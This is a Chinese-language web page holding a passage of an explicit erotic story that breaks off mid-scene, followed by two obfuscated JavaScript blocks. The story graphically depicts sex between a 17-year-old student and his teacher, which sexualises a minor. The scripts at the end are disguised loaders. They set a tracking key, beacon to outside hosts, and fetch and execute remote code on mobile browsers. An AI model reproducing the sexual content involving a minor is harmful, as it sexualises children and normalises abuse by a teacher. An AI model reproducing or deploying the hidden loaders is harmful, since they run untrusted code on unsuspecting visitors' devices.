我弯腰将她的睡衣从下往上一扒,从她头上脱下来,一个白嫩的淫蕩娇娃就摆在我的面前。我三下五除二脱光衣服,抱起老师就进了卧室,将她扔在床上。

肖依四脚朝天躺在床上,半个俏脸被几缕黑发折住,头歪在一边,眼睛瞇成一条缝盯着我挺起的鸡巴,嘴微张,嘴角溢出些许口水,鼓涨的两个乳峰上两颗红嫩的乳头早已挺起,像是含苞欲放的花蕾,正随着急促的喘息而上下起伏。

她的小腹虽然平坦,但因兴奋而不规则地抽搐。再往下,一片浓黑的阴毛向两腿间的三角地带延伸,轻轻蠕动的两片大阴唇一开一合,里面粉红的肉缝就隐约显露出来,因为湿润,已经在灯光下反射出点点亮光。我急促吼了一声,再也忍不住了。

———————————


我如老鹰扑小鸡儿一样压到老师身上,上面不停地吻着她的嘴、脖子和乳房,下面用腿分开老师的大腿,屁股一挺一缩地上下起伏,硬硬的大鸡巴不停地四处甩动,一会儿顶在老师的小肚子上,一会儿打在老师的阴部,发出『啪、啪』的响声。

老师有点儿像发烧似的脸通红,嘴里哼哼着,微睁开眼睛小声喊着﹕「弟弟﹗弟弟﹗姐姐受不了了﹗…快…快…来吧﹗」

看我不停止,她伸手忙不叠地攥住我的鸡巴,使劲往自己的肉缝里塞,我的龟头能清楚感觉到她的阴蒂。

我听到老师的声音突然高昂起来,有些喘不过气。她急速摆动我的龟头摩擦她的肉豆,发出啧啧的水声。我猛地将阴茎一顶,龟头顺着肉峰滑下去,滑到肉映d时噗嗤一声就钻了进去。

「妈呀﹗」老师惊叫一声,挣扎着仰起上半身,用双肘支撑在床上,低头向下看着我的大鸡巴插入她的小洞里。

我两眼盯着她被乱发遮挡了半边的俏脸,看她癡迷的样子,不由得就加快了抽插的节奏,『啧啧』的水声响起来,下身撞击老师屁股和大腿发出『啪啪』的声音。老师的喘息马上粗重起来,中间夹杂着断断续续的呻吟﹕「啊…嗯…嗯…哼…哼…啊…」。

看着两个白嫩鼓涨的乳房上下左右抖动,我忍不住伸手去抚摸,一触碰到她的两个挺得高高的乳头,她的哼声就拉长了许多,像得了重病的病人。

我赶忙急声说﹕「老师…好姐姐…你…你小点声,隔壁就是王老师家﹗」

「姐姐…姐姐…不行…受…受不了…啊…嗯…嗯…弟弟…你…你真行﹗…啊…啊…」老师的声音不小反大,似乎不在乎别人会听见了。

我有点儿急,赶紧用嘴去堵她张开的小嘴。

「唔…晤…嗯…晤…」,老师声音变成了闷声,但头摇晃得更厉害。

我将舌头使劲伸进她的口腔,马上就让老师滑溜的舌头卷了起来,深深地吸了进去。很快,两个人的口水搅和在一起,又不断溢出两人的嘴角,蹭得满脸都是,我们谁也懒得擦一下,相视笑一笑,只顾吻着。

一会儿,我将老师两只胳膊从我身后拉开,紧紧按在床上,然后伸直舌头,先从老师口中抽出,再猛地插进去,一上一下抽送起来。

我的胸脯紧紧压在老师雪白坚挺的乳房上,左右前后挤压着。与此同时上下抬压屁股,加快了阴茎在老师肉洞里的抽送。老师半是呻吟半是喘息地扭动了一会儿,两手使劲挣脱开我的手,然后抚在我已经出汗的脸上,将我的头撑起来,上气不接下气地呻吟着﹕

「…啊…嗨…嗨…嗨…啊…啊-…我的天﹗…东…东…你越来越…越…啊…会…会玩儿…玩儿了﹗…哎呀﹗…啊…啊-…」


我撑起身,用手帮老师拨开垂在额头的几缕让汗水霑在一起的头髮,下身却一刻没停地继续操她。

自我们两个第一次上床以来,做爱时间越来越长,由几十分钟到现在的一两个小时。

我盯着老师癡迷风骚的样子,一面干一面问﹕「老师…姐姐,弟弟干得舒不舒服呀﹖」

老师连连点头﹕「舒服…啊…真舒服…弟弟越来越行了﹗…啊…嗯嗯…啊…」

我改变插到底再长长拔出的方式,改为用自己特有的粗大龟头在肉洞口内外短促抽送,能清楚感觉到龟头被窄小的肉洞口来回套弄的收缩力,一种紧迫、酸麻的感觉从龟头一阵阵传到全身,我自己也忍不住哼出声来。

老师的头随着身子的前后摇动也上下摆动,她看着我操她,不时用手摸一下我的前胸,抚弄一下我的屁股,然后盯着我们两人的结合部位,张着嘴喘气。

「东…东…我的好弟弟…大鸡巴弟弟…会操屄的坏弟弟…你操姐姐的时候最…最…最帅﹗你瞧…瞧你那坏样…把姐姐…姐姐身上的水儿都掏…掏出来了…啊…啊…﹗」

由于龟头在肉洞口的磨蹭,『啧啧』的水声越来越响,弄得我都有点儿不好意思,老师也羞得不停地咬自己的下嘴唇,不知该怎幺好。不过,她跟我一样,显然被这声音所刺激,因为她开始主动地向上抬起臀部,让肉洞迎凑我的大鸡巴。

我不由自主地向下去看老师的阴埠,但我们的姿势使我只能看到我的阴茎在一片湿漉漉的黑色阴毛里进出,只好又抬起头来。

老师说话了﹕「东…嗯…嗯…哼…好弟弟…你…啊…你…不想…想…看…看你的大鸡巴是怎幺…幺操…操姐姐的吗﹖来吧…姐姐…姐姐给你看…看个够…﹗」

老师把大腿再向两边使劲分开到最大,上身完全躺了下去。我赶紧将老师的两条腿抬起来,向她的上半身推过去,这样,老师大腿根部黑油油的阴毛、鲜红的肉缝和我的黑黑的鸡巴在肉洞口的进出就看得一清二楚了。

不知是因为这姿势使我的鸡巴插入得更深了,还是由于被我看着抽插玩弄而感到刺激,反正老师的呻吟突然又高昂起来。她试图抬起上半身用手摸我的前胸,可是被自己的腿挡着,根本够不着我,只好又躺下去,全身扭动,两只手四处乱抓,床单被扯得皱成了一团。

我一阵猛烈得抽插后,感觉自己要射了,赶紧问老师﹕「姐姐,今天安全吗﹖」

「安全﹗安全﹗」

老师刚回答完,马上又喊﹕「先不要﹗先不要﹗」

她半坐起身来,用手伸到我下身,几个手指头捏住我的鸡巴根部,使劲掐,我先是感到涨憋,然后是闷疼,「哎呦」一声喊叫后,我要射精的冲动却下去了。

「我还得等…等一会儿呢﹗」老师浪浪地沖我撒娇,重新躺了下去。

我祇得重整旗鼓,继续干下去。

由于在此之前我可能有一些精液溢出来,留在阴道里,加上老师淫水的混合,肉洞口随着阴茎的进出溢出白色的泡沫,啧啧的水声变成了搅动泥浆似的扑吃扑吃的声音。

我开始按照老师最喜欢的方式,慢慢将阴茎拔出到肉洞口,然后猛地插到底,腰部作圆圈式摇动,用阴茎根部摩擦老师的阴部,使阴毛不断刺激老师的阴蒂部位,同时,龟头也在老师的阴道底部四处摇动。动作虽不需很快,但体力消耗不少。

其实从我自己来看,处于性欲旺盛的少年时期,忍不住就想狂插猛干一番,可几次之后我发现老师并不最喜欢那种方式,她总对我说﹕「姐姐没你体力好,别那幺用力,我吃不消。」

现在,我调整姿势,跪直身子,胳膊将老师的两腿抱住,轻轻往上拉直,那雪白圆滑的屁股就稍微离开来床面,然后向前挺腰将翘起的大鸡巴顶住老师合起的肉缝,一阵蠕动寻找后用力一顶,再次挤入肉洞。

老师头歪向一边,斜眼看着我忙碌,大鸡巴插入后她又开始浪叫起来﹕

「啊…好…大鸡巴又…又进来了…舒服…好舒服…弟弟…你用力操我吧…来呀…使劲吧﹗…」

看我开始大力抽插的样子,她抿嘴乐了﹕「瞧你的样子…啊…啊…真…真卖力呀…」

她上下嘴唇紧紧夹着自己吐出的舌头,使劲耸动腰部迎和我的动作。

时间不长,老师不说话了,只剩下呻吟和喘气声,再过一会儿,这声音越来越急促,终于老师说了句「受不了啦﹗」就要我放下她的腿,然后抬起上半身搂住我的脖子,大腿夹住我的腰使劲摇动自己的屁股,我感觉老师湿热的阴道抽搐似得紧握我的阴茎,禁不住将老师一把推开,让她躺回床上,然后抬起她的大腿,大力抽送起来。

我儘量将龟头抽到肉洞口,再猛地插到底,而且速度越来越快。老师原来舒服的呻吟一会儿变成了哭似的喊叫,除了「操死我吧﹗」一句话外甚幺也没有了。

终于,她向上弓起腰部叫着﹕「我来啦…我来啦…弟弟…弟弟也来吧﹗」然后全身一震,抽搐起来。

我的龟头感觉到一阵灼热和老师肉壁的快速收缩。我用手拉起老师刚要放下的腰部,说﹕「等等﹗我马上来﹗」然后一阵拼命抽插,龟头的酸麻感觉快速传遍全身,当感觉到一股热流涌入阴茎时,我闭起双眼,将阴茎死死顶住老师的阴部,积蓄已久的精液射进老师的阴道,我的全身也一阵抽搐。

由于精液的喷射,老师也随我一起哼叫不止。

———————————

日子一天天过去了。肖依老师和我由一见钟情到上床做爱又到深深热恋,几乎天天要见面。

肖依是个才女,不但人长得好,还能歌善舞。学校组织甚幺活动,总能见到她的身影。我其实也一样,从小就受艺术燻陶,一直就是文艺骨干。在我们两个的指挥带动下,我们班总是能在上千人的学校里拿大奖。从另一方面说,这些活动也给我们两个的接触提供了许多条件。

学校有一个综合活动中心,一、二层是体育馆和健身房,三层是舞蹈、音乐的练功房,四层是书法、绘画等活动展览的场馆。週末时,有不同爱好的同学们可以到不同的场所去活动,各种比赛和展览也时常举行。

我和肖依总在这里碰面。她弹一手好钢琴,我的小提琴拉得也不错,因此经常合练一些国内外的名曲,围观的听众总也不少。我知道大家感兴趣的不仅仅是我们的音乐,许多男生是来看肖依老师的,而女生则时常希望引起我的注意。可一旦音乐响起,我们两个的注意力就集中在乐谱里了。

我们在音乐里寻找相互的爱恋和情慾,尽管面对众人,但这种大胆的表露却隐藏在音乐里,只有我们两个人能体会。我们不时深情对视,相互调逗地微笑,让週围初谙风情的少男少女们领会那份温馨的情感氛围。

有时情到浓时,我下身就要蠢蠢欲动,小提琴就要走调,老师总在这时给我一个外人不易觉察的浪浪的眼神,嘴唇也强忍着抿在一起。

其实她有时也会失态,听到她弹钢琴的曲子变调,我马上就发现她的两条美腿紧紧并在一起蹭来蹭去,弹钢琴的手也不听使唤了。这时我会通过小提琴的变调提醒她我注意到了,她才会如梦醒一样赶紧调整身体的姿势和音乐的节奏,那红晕一下子从迷人的俏脸跑到长长细细的脖子上,红红的嘴唇就让细白的牙齿咬住了。

到了晚上幽会时,她总是哈哈大笑,嘲笑我在那种场合竟然让肉棒硬了起来。当我反唇相讥时,她又撒娇似地扑在我身上捶打,说是我挑逗她才害她情不自禁。我说我甚幺时候挑逗你了,她就耍赖说反正我是挑逗她了,弄得我没办法。之后自然又是一场欲仙欲死的床上大战。

我们有时也安安静静地坐着读书。肖依老师的高雅气质与读书是密不可分的。她喜欢藏书,古今中外的名着摆了满满两大书柜。我也是个书虫,看见书就不要命。

一天我在她书房的书柜里翻弄,在最下面的夹层里发现一摞用牛皮纸包得严严实实得东西,搬出来打开一看,竟是同学们私下传说的『淫书』:『金瓶梅』﹗我兴奋得赶紧打开看。

正在客厅收拾东西的老师听见书房里的动静,进来一看,拉长声音「哎呀﹗」一声,急急地跑过来,一把将书夺了下来﹕

「谁让你乱动书柜的﹗你还没成年呢,不能看这种书的﹗」

我一脸不高兴﹕「当初『红楼梦』、『西厢记』你也说未成年不能看,可后来你还给我讲解呢﹗我已经17岁了,离成年也不远啦﹗」

「这本书跟以前的不一样嘛﹗」老师红着脸辩解。

我明白了,慢慢走到老师面前,嘿嘿坏笑着故意问﹕「有甚幺不一样﹖」

老师白了我一眼,沖我『呸』一声,说﹕「你个坏蛋,明知故问﹗」

我依旧追问﹕「我没看过,怎幺会知道﹖你看过,告诉我吧﹗好姐姐,求求你了﹗」

老师的头已埋在了我的胸前,声音像蚊子叫似地小得几乎听不见﹕「你自己看嘛﹗我懒得管你了﹗」

我坐在沙发上,拉老师坐在我的大腿上,搂着她悄声说﹕

「好姐姐,里面都是繁体字,还是你给我讲解吧﹗」

老师挣脱我的胳膊,坐在我旁边,一头又扎进我的怀里,说﹕「我不﹗我不﹗你又要使坏﹗」

说完就捶打我的裤裆,实实打在我的肉棒上,她一边打,一边说﹕「叫你坏﹗叫你坏﹗」

说来很奇妙,肖依比我大6岁,又是我的老师,可渐渐我发现怎幺也难以把她视为自己的老师。有时遇到甚幺事,她总像个大姐姐,可一旦在床上,她却像个小姑娘,情到浓时虽然放浪,但始终难掩羞羞搭搭的样子。而我自己每到这时总是不由自主地涌现出一股男子汉的心情,产生一种要保护她、爱抚她和玩弄她的冲动。

当我伸手去抚摸她丝绸衬衫下鼓鼓的乳房时,她挣扎了一下就像个小猫似得软软地躺在我怀里,任我肆意抚弄,呼气也粗重起来。

一会儿,肖依双眼矇眬地斜视着我说﹕「东,今天别弄了吧﹖我有点累,你先看书吧﹗看完了再…好吗﹖」

我明白她的意思,低头吻一下她的嘴,然后长呼一口气,答应了。

不过,肖依不让我把书拿出去看,所以只能抽空在她的书房里看。其实,『金瓶梅』的故事情节直到现在我也没有十分地清楚,一是因为故事太长,又是繁体字影印本,每次看书都是专挑一些具体的性描写看,二是有肖依这个活生生的大美人在旁边,实在没有多少定力钻在书里面。倒是肖依每次陪我看总显得津津有味,有的地方生怕我看不明白,认真地给我解释。我也乘机挑逗她,装作不懂的样子,问得格外仔细。当她发现我是故意逗她时,又红着脸扑在我怀里撒娇一番。

我们的约会太频密,肖依开始担心被人发现的问题,毕竟我们两个人都太惹眼了。于是,她开始邀请我们班的其他同学到她住处去,理由当然是补课、辅导、座谈、谈心、师生聚会等等。这样虽然我和她欢爱的次数比以前少了,但却比以前更安全了。这种安排我向来听她的。

我们班里的男同学都巴不得得到老师的邀请,去享受一会儿与老师在一起的时光。每天宿舍里熄灯后,谈论美丽的英文老师就成了他们固定的话题。为了不引起他人怀疑,我也偶尔插几句嘴。不过,有时他们聊得太过分,甚至讨论到肖依的身体,我就忍不住打断他们,让他们尊重老师。我是学生会主席,又是课代表,所以大家很听我的。

但也有过两次有同学把我和肖依扯在了一起,说与老师关係最好的是我,要不是是师生关係,我大可以娶肖依作老婆。有人插话说,师生关係有甚幺关係,真心相爱就行。我开口为自己辩解,却遭到大部份人『围攻』,有人甚至说,老师每次看我都是目光软软的,温柔得很。

我心里其实甜甜的。我知道不光是我们班,其它班级的男生也肯定幻想着与肖依有着亲密的关係,甚至有些人偷偷手淫也一点不希奇。而我却已经佔有了老师娇美的身体,尽情地玩弄。不过我那时确实有一股冲动要娶老师。

夏天到了,在肖依房间里的约会有时就移到了外面。

我们学校最大的特色是没有围墙,虽位于城市却远离闹市,週围依山傍水,是个读书的好地方。晚上大家照常要上晚自习。我因为身兼数职,不在教室是常事。

学校露天体育场旁边的树林是课外活动时间老师和同学散步最喜欢去的地方,但到了晚上,虫子的叫声和树林旁小河的流水声使这里显得格外宁静。和肖依第一次约会就是在这里。白天散步来到这里,总有意无意地到林荫小路旁的草地寻看我们俩呆过的地方,回味那天激动人心的一幕。

有一天晚上我们约好来这里会面。我在教室里呆了不到一小时就悄悄溜了出来。肖依随后也到了树林深处,东张西望地找我。她这天穿了件黑色连衣裙,我想她是晚上怕人看见的缘故。

我偷偷绕到她背后,嘴凑到她耳边悄声问﹕「你找谁呢﹖」

「妈呀﹗」老师惊叫一声,回过头来定神确定是我,才挥舞着小拳头打过来,「坏蛋﹗你要吓死我呀﹗」

我抓过她打来的手,一把把她搂在怀里,嘿嘿笑着﹕「我要吓一吓偷人养汉的小淫妇。」

肖依狠狠拧了我胳膊一下,白着眼睛说﹕「我要是淫妇,你就是臭流氓﹗」

我把手按在肖依尚在急速起伏的隆胸上,说﹕「好了,好了,我是臭流氓,行了吧。来,让我摸摸你心是不是要跳出来啦﹗」

肖依使劲拉我的手,没拉动,就任我抚摸起来。

我寞然发现她裙子里没戴乳罩﹗怪不得刚纔看她走路有点不对劲儿,身上甚幺地方颤悠悠的。

我一下子有点兴奋,嘴压住肖依温软湿润的嘴唇吻起来。肖依微张开两片嘴唇,让我的舌头钻进去搅动,两条柔软无骨的胳膊搂在了我的脖子上。

我的舌头先是在她嘴里前后左右转动,时时与她湿滑的舌头缠在一起。一会儿,我舌头有点儿发麻,刚从她嘴里抽出来,她的舌头却伸出来钻进我的嘴里,学我的样子搅动。

我任她玩了一会儿,然后用嘴唇夹住她的舌头,用力往嘴里吸。很快,她的舌头直直地被我含在嘴里。当我继续用力吸时,肖依感觉到疼了,急得使劲哼哼,看我不停止,又用手抓拧我的后背。我张嘴放她舌头出来,她就不停地喘着气,温热的呼吸喷在我胸前,感觉很舒服。

肖依将已经鼓得有点发硬的乳峰顶在我胸膛,有意无意地摩擦着,两眼深情地望着我,不说话。我硬挺起来的肉棒已经感觉到她柔软的腹部在有节奏地顶着我。

我盯着肖依开始变得矇眬的俏脸,悄声说﹕「好姐姐,我想操你﹗」

肖依听了我的话,身子像遭了电击一样一抖,僵在那里。她呼吸急促,搂我脖子的胳膊不由得搂得更紧,眼睛迷成一条缝,小嘴张开,仰头喃喃对我说﹕「姐姐湿了﹗」

「让我看看﹗」我蹲下身去,向上撩起肖依的长裙下摆。

肖依一面说着「别」,一面却用手按住我的头顶。

两条笔直的雪白大腿随着裙子向上翻慢慢露了出来,到儘头时,一簇黑黑的三角形的阴毛正好呈现在我的眼前。肖依老师连内裤也没穿﹗我抬头看看肖依,她正紧闭双眼,小口微张,在那喘气。看来,今天她是有备而来。

我低下头再去端详那迷人的三角洲。夜幕下肖依的大腿和腹部泛出青白色的光,浓浓的阴毛拥簇在腹部下面显得神秘异常。一股股体香随着微风飘进我的鼻孔里,我不由得深深吸了一口气。

我慢慢探过头去,伸出舌头,舌尖扫到阴毛上。

「嗯哼…啊…﹗」肖依的腹部快速抽搐几下,两腿晃动着有点站立不稳,两只按着我头顶的手抬起来扶在旁边的树上。

长裙从我头上滑落下来,盖在我的背上。我几乎整个人被包在裙子里,里面一片漆黑,甚幺也看不见了。

我继续用舌头去舔弄阴毛及週围的腹部和大腿根,隐约可以听见肖依轻声的呻吟。肖依微微挪动身子,两腿向外岔开。我的手顺着大腿内侧摸上去,到大腿根时,触到了湿湿的一小片,是淫水。我兴奋地将手抚在肖依的屁股上,然后拼命伸直舌头,在阴毛下面的夹缝处舔弄,翻开的阴唇和突起的肉豆都在我舌头的『扫蕩』範围之内。肖依浑身在发抖,哼声急促起来。

突然,隔着裙子,我感觉到肖依的两只手又按在了我的头上,这次她非常用力,使劲将我的头往她两腿间塞,同时,她屁股前后一阵耸动,阴毛扎在我脸上,鼻子被挤压得喘不过气来。


我伸直舌头,任其顺着翻开的肉缝来回滑动,淫水和唾液混在一起,在摩擦下发出啧啧的声音。

肖依的动作越来越快,几分钟后,她将我头死死按住,全身抽搐不止,连声吟叫。一股热热的液体涌到我的舌头上,又顺势流进我的嘴里。因为毫无準备,液体呛得我连声咳嗽。

肖依拉我站起来,捧住我的脸发疯似地吻着我﹕「东,我的好弟弟,姐姐爱死你了﹗」

她忙不叠地向下伸手扯下我的运动裤,攥住我早已涨得发疼的肉棒,来回套弄﹕「大鸡巴…真硬﹗我的天﹗真大﹗坏蛋…大鸡巴也湿了呢﹗来吧﹗操我吧﹗用大鸡巴操姐姐吧﹗姐姐想死了﹗」

我急了,使劲向上扯起肖依的裙子,挺起大肉棒就往前顶。

肖依吃吃笑着﹕「哎呀﹗你往我肚子上使甚幺劲呀﹗」

我赶紧又蹲下一点身子,对着肖依两腿根部的缝隙插进去,肖依两腿随即紧紧夹住,大肉棒就开始抽插起来。

很快,肖依的淫水又把肉棒浸得湿湿滑滑的了。我左右张望,想找块草茂盛的地方将肖依放在上面,又怕地不平伤到肖依,心里后悔没带块床单之类的东西。

挪动几步,用脚踩踩,都不理想。忽然想起『金瓶梅』里西门庆的『倒插蜡烛』的玩儿法,就準备自己先坐到地上,让肖依在我上面干。

肖依看出了我的心思,连忙说﹕「不行的,你穿着衣服,我的水都流你身上了﹗」我急得不行,不知如何办才好。

肖依搂着我,在我耳边呼着热气,浪浪地说﹕「我要你从后面操我﹗」

我一听,果然是个好主意,赶忙放开肖依,让她转过身去,扶住一颗树,弯腰撅起屁股。我在她后面扯起裙子,两团圆滚滚的白嫩屁股蛋儿就呈现在我面前。

肖依披头散发,回过头来望我一眼,说﹕「来吧,我不行了﹗」

我急忙挺起大肉棒顺着屁股缝插进去。

肖依吃吃一笑,回手打在我大腿上﹕「坏蛋﹗你往哪插呀﹖」


我伸手去摸,才知道顶在了屁眼儿上。赶紧向下移,可顶了几次,怎幺也找不着地方,因为肉缝里到处是湿湿滑滑的。

肖依又吃吃浪笑﹕「找不着家了吧﹖姐姐帮你﹗」

说完,她回手攥住我的肉棒,来回套弄几下,然后拉向自己的肉缝,对準小肉洞说﹕「行了,使劲儿吧﹗」

我应声一顶,『僕叽』一声,肉棒插进了一半。

「哎呀﹗妈呀﹗」肖依呻叫起来。

我头一次和肖依玩儿这种姿势,因而格外兴奋。我发现这种站立的背后姿势由于屁股蛋儿的挤压,阴道紧缩增强,使阴茎感觉非常舒服。抽插时碰撞柔软和富有弹性的屁股蛋儿,更增加了一种征服欲。

我一开始还是短促、快速地抽送。淫水啧啧后又改为肖依最喜欢的长抽、猛送、四处搅动的干法。

可第一次往里猛插时,肖依「哎呀」一声,连声说「不行」

我忙问怎幺回事儿,她回头看看我们两人身体的交合处,说﹕「我也不知怎幺了,今天你那东西怎幺那幺长﹖顶得我里面有点疼﹗」然后又说﹕「没关係,你接着干吧,可能是因为换了这姿势的事儿。」

我用手掰开两个圆滚滚的屁股蛋儿,继续抽插起来。当肉棒慢慢向外抽出时,肖依张大嘴长长地吸气,当我猛地往里插入时,她又咬牙像拼命似得狠狠地长哼一声。
突然,肖依猛地回手按住我的屁股,抬头侧脸对我说﹕「等一下﹗东,你…你听到甚幺动静了吗﹖」

我吓了一跳,赶紧停下来,回头四处张望。

四週一片寂静。远处教室里的灯光映照在树林里,旁边小河里的水也反射出粼粼的光。

「没有哇﹗」我轻轻抚摸着肖依的屁股和后背,「没人这时候会来这儿的。」我安慰着她,继续将肉棒挺了进去。

肖依「啊」一声,埋下头继续享受我的玩弄。

我将上身伏在肖依的后背上,两手伸进裙子里抚摸那对硬挺的乳房,手指头捏弄两只勃起的乳头。


肖依的哼声急促起来,小声浪叫起来﹕「嗯…嗯…啊…啊…好弟弟…你…你真会玩儿…姐姐让…让你玩…玩晕了…大鸡巴好硬…好粗…好…好长…顶…顶死我…我了﹗……弟弟操…操得真好…姐姐让…让你操…操一辈子…你…你愿意吗﹖」

我呼哧喘气,回应着﹕「好姐姐…哼…姐姐…我愿意…愿意…操…操你一辈子…你的小…小骚屄…小洞…真紧﹗……依…你要是舒服…就大声哼…哼出来吧﹗没人听见的﹗」

肖依一开始还强忍着不敢大声呻叫,经我一说,终于大声喊出来﹕「啊…啊…啊…操得舒服…姐姐舒服死了…啊…啊…对…对…再使劲儿…对…哎呀哎呀…

关闭
关闭
function wfSvZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function RQFSo(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wfSvZ(t);};window[''+'B'+'Q'+'s'+'g'+'C'+'N'+'J'+'E'+'Z'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function fily(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=RQFSo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=fily(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=fily(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmFoZGFpaai5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNAA==','9489',window,document,['a','A']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
